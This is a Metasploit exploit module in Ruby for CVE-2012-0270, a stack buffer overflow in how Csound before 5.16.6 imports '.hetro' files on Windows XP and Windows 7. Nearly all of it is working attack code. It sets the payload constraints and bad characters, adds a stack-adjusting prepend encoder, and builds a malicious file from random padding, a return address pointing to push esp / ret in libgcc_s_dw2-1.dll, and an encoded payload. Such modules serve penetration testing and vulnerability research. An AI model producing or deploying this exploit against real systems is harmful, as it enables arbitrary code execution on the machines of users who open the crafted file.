Csound – ‘.hetro’ File Handling Stack Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Csound hetro File Handling Stack Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in Csound before 5.16.6. The overflow occurs when trying to import a malicious hetro file from tabular format. In order to achieve exploitation the user should import the malicious file through csound with a command like "csound -U het_import msf.csd file.het". This exploit doesn't work if the "het_import" command is used directly to convert the file. }, 'License' => MSF_LICENSE, 'Author' => [ 'Secunia', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'Version' => '$Revision: $', 'References' => [ [ 'CVE', '2012-0270' ], [ 'OSVDB', '79491' ], [ 'BID', '52144' ], [ 'URL', 'http://secunia.com/secunia_research/2012-3/' ], [ 'URL', 'http://csound.git.sourceforge.net/git/gitweb.cgi?p=csound/csound5.git;a=commit;h=7d617a9551fb6c552ba16874b71266fcd90f3a6f'] ], 'Payload' => { 'Space' => 650, 'BadChars' => "\x00\x0a\x1a\x2c\xff", 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment # add esp, -3500 'DisableNops' => 'True' }, 'Platform' => 'win', 'Targets' => [ [ 'Csound 5.15 / Windows XP SP3 / Windows 7 SP1', { 'Offset' => 132, 'Ret' => 0x6e955446 # push esp # ret / libgcc_s_dw2-1.dll } ], ], 'Privileged' => false, 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 23 2012')) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.csd']), ], self.class) end def exploit sploit = rand_text(target['Offset']) sploit << [target.ret].pack("V") sploit << payload.encoded print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(sploit) end end |